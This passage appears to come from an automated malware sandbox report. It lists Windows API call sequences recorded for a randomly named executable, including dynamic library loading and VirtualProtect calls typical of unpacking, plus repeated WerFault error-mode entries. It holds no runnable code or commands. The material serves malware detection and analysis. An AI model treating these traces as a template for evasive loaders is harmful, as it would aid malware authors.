DestroyWindow,EndDialog,6_2_00B1D300
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B1CDC0 ReleaseMutex,GetWindow,WaitForSingleObject,GetWindow,IsWindow,GetWindow,IsIconic,GetWindow,GetWindowInfo,GetWindowInfo,GetWindow,GetAncestor,GetWindow,GetWindow,IsWindow,GetWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,6_2_00B1CDC0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B1CDC0 ReleaseMutex,GetWindow,WaitForSingleObject,GetWindow,IsWindow,GetWindow,IsIconic,GetWindow,GetWindowInfo,GetWindowInfo,GetWindow,GetAncestor,GetWindow,GetWindow,IsWindow,GetWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,6_2_00B1CDC0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B1CDC0 ReleaseMutex,GetWindow,WaitForSingleObject,GetWindow,IsWindow,GetWindow,IsIconic,GetWindow,GetWindowInfo,GetWindowInfo,GetWindow,GetAncestor,GetWindow,GetWindow,IsWindow,GetWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,6_2_00B1CDC0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B1CDC0 ReleaseMutex,GetWindow,WaitForSingleObject,GetWindow,IsWindow,GetWindow,IsIconic,GetWindow,GetWindowInfo,GetWindowInfo,GetWindow,GetAncestor,GetWindow,GetWindow,IsWindow,GetWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,6_2_00B1CDC0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B1CD50 IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,6_2_00B1CD50
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B19ED0 IsWindow,IsWindowVisible,IsIconic,GetLastActivePopup,6_2_00B19ED0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B1CFE9 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,6_2_00B1CFE9
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B1CFE9 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,6_2_00B1CFE9
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026AD300 GetWindowLongA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetWindowLongA,SetWindowTextA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetClassLongA,SetClassLongA,SendMessageA,SendMessageA,GetObjectA,CreateFontIndirectA,SendMessageA,GetWindow,GetWindow,GetWindow,GetWindowInfo,GetWindowRect,SetWindowPos,GetClientRect,MoveWindow,CreateWindowExA,SetWindowLongA,GetClassLongA,SetClassLongA,GetWindowTextLengthA,HeapAlloc,SetWindowLongA,SendMessageA,GetWindowThreadProcessId,GetClassLongA,GetClassLongA,GetClassLongA,LoadIconA,SendMessageA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetWindow,IsIconic,ShowWindow,WaitForSingleObject,ReleaseMutex,PostMessageA,GetDlgItem,GetWindowLongA,WaitForSingleObject,ReleaseMutex,GetDlgItem,GetWindowLongA,DeleteObject,HeapFree,DestroyWindow,EndDialog,9_2_026AD300
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026A9ED0 IsWindow,IsWindowVisible,IsIconic,GetLastActivePopup,9_2_026A9ED0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026ACFE9 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,9_2_026ACFE9
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026ACFE9 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,9_2_026ACFE9
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026ACD50 IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,9_2_026ACD50
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026ACDC0 ReleaseMutex,GetWindow,WaitForSingleObject,GetWindow,IsWindow,GetWindow,IsIconic,GetWindow,GetWindowInfo,GetWindowInfo,GetWindow,GetAncestor,GetWindow,GetWindow,IsWindow,GetWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,9_2_026ACDC0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026ACDC0 ReleaseMutex,GetWindow,WaitForSingleObject,GetWindow,IsWindow,GetWindow,IsIconic,GetWindow,GetWindowInfo,GetWindowInfo,GetWindow,GetAncestor,GetWindow,GetWindow,IsWindow,GetWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,9_2_026ACDC0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026ACDC0 ReleaseMutex,GetWindow,WaitForSingleObject,GetWindow,IsWindow,GetWindow,IsIconic,GetWindow,GetWindowInfo,GetWindowInfo,GetWindow,GetAncestor,GetWindow,GetWindow,IsWindow,GetWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,9_2_026ACDC0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026ACDC0 ReleaseMutex,GetWindow,WaitForSingleObject,GetWindow,IsWindow,GetWindow,IsIconic,GetWindow,GetWindowInfo,GetWindowInfo,GetWindow,GetAncestor,GetWindow,GetWindow,IsWindow,GetWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,9_2_026ACDC0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022CD300 GetWindowLongA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetWindowLongA,SetWindowTextA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetClassLongA,SetClassLongA,SendMessageA,SendMessageA,GetObjectA,CreateFontIndirectA,SendMessageA,GetWindow,GetWindow,GetWindow,GetWindowInfo,GetWindowRect,SetWindowPos,GetClientRect,MoveWindow,CreateWindowExA,SetWindowLongA,GetClassLongA,SetClassLongA,GetWindowTextLengthA,HeapAlloc,SetWindowLongA,SendMessageA,GetWindowThreadProcessId,GetClassLongA,GetClassLongA,GetClassLongA,LoadIconA,SendMessageA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetWindow,IsIconic,ShowWindow,WaitForSingleObject,ReleaseMutex,PostMessageA,GetDlgItem,GetWindowLongA,WaitForSingleObject,ReleaseMutex,GetDlgItem,GetWindowLongA,DeleteObject,HeapFree,DestroyWindow,EndDialog,13_2_022CD300
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022C9ED0 IsWindow,IsWindowVisible,IsIconic,GetLastActivePopup,13_2_022C9ED0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022CCFE9 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,13_2_022CCFE9
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022CCFE9 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,13_2_022CCFE9
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022CCD50 IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,13_2_022CCD50
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022CCDC0 ReleaseMutex,GetWindow,WaitForSingleObject,GetWindow,IsWindow,GetWindow,IsIconic,GetWindow,GetWindowInfo,GetWindowInfo,GetWindow,GetAncestor,GetWindow,GetWindow,IsWindow,GetWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,13_2_022CCDC0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022CCDC0 ReleaseMutex,GetWindow,WaitForSingleObject,GetWindow,IsWindow,GetWindow,IsIconic,GetWindow,GetWindowInfo,GetWindowInfo,GetWindow,GetAncestor,GetWindow,GetWindow,IsWindow,GetWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,13_2_022CCDC0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022CCDC0 ReleaseMutex,GetWindow,WaitForSingleObject,GetWindow,IsWindow,GetWindow,IsIconic,GetWindow,GetWindowInfo,GetWindowInfo,GetWindow,GetAncestor,GetWindow,GetWindow,IsWindow,GetWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,13_2_022CCDC0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022CCDC0 ReleaseMutex,GetWindow,WaitForSingleObject,GetWindow,IsWindow,GetWindow,IsIconic,GetWindow,GetWindowInfo,GetWindowInfo,GetWindow,GetAncestor,GetWindow,GetWindow,IsWindow,GetWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,13_2_022CCDC0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010AD300 GetWindowLongA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetWindowLongA,SetWindowTextA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetClassLongA,SetClassLongA,SendMessageA,SendMessageA,GetObjectA,CreateFontIndirectA,SendMessageA,GetWindow,GetWindow,GetWindow,GetWindowInfo,GetWindowRect,SetWindowPos,GetClientRect,MoveWindow,CreateWindowExA,SetWindowLongA,GetClassLongA,SetClassLongA,GetWindowTextLengthA,HeapAlloc,SetWindowLongA,SendMessageA,GetWindowThreadProcessId,GetClassLongA,GetClassLongA,GetClassLongA,LoadIconA,SendMessageA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetWindow,IsIconic,ShowWindow,WaitForSingleObject,ReleaseMutex,PostMessageA,GetDlgItem,GetWindowLongA,WaitForSingleObject,ReleaseMutex,GetDlgItem,GetWindowLongA,DeleteObject,HeapFree,DestroyWindow,EndDialog,16_2_010AD300
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010ACD50 IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,16_2_010ACD50
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010ACDC0 ReleaseMutex,GetWindow,WaitForSingleObject,GetWindow,IsWindow,GetWindow,IsIconic,GetWindow,GetWindowInfo,GetWindowInfo,GetWindow,GetAncestor,GetWindow,GetWindow,IsWindow,GetWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,16_2_010ACDC0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010ACDC0 ReleaseMutex,GetWindow,WaitForSingleObject,GetWindow,IsWindow,GetWindow,IsIconic,GetWindow,GetWindowInfo,GetWindowInfo,GetWindow,GetAncestor,GetWindow,GetWindow,IsWindow,GetWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,16_2_010ACDC0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010ACDC0 ReleaseMutex,GetWindow,WaitForSingleObject,GetWindow,IsWindow,GetWindow,IsIconic,GetWindow,GetWindowInfo,GetWindowInfo,GetWindow,GetAncestor,GetWindow,GetWindow,IsWindow,GetWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,16_2_010ACDC0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010ACDC0 ReleaseMutex,GetWindow,WaitForSingleObject,GetWindow,IsWindow,GetWindow,IsIconic,GetWindow,GetWindowInfo,GetWindowInfo,GetWindow,GetAncestor,GetWindow,GetWindow,IsWindow,GetWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,16_2_010ACDC0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010ACFE9 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,16_2_010ACFE9
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010ACFE9 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,16_2_010ACFE9
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010A9ED0 IsWindow,IsWindowVisible,IsIconic,GetLastActivePopup,16_2_010A9ED0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_02701190 GetProcAddress,LoadLibraryExA,GetProcAddress,GetProcAddress,LoadLibraryExA,VirtualProtect,VirtualProtect,VirtualProtect,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,5_2_02701190
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
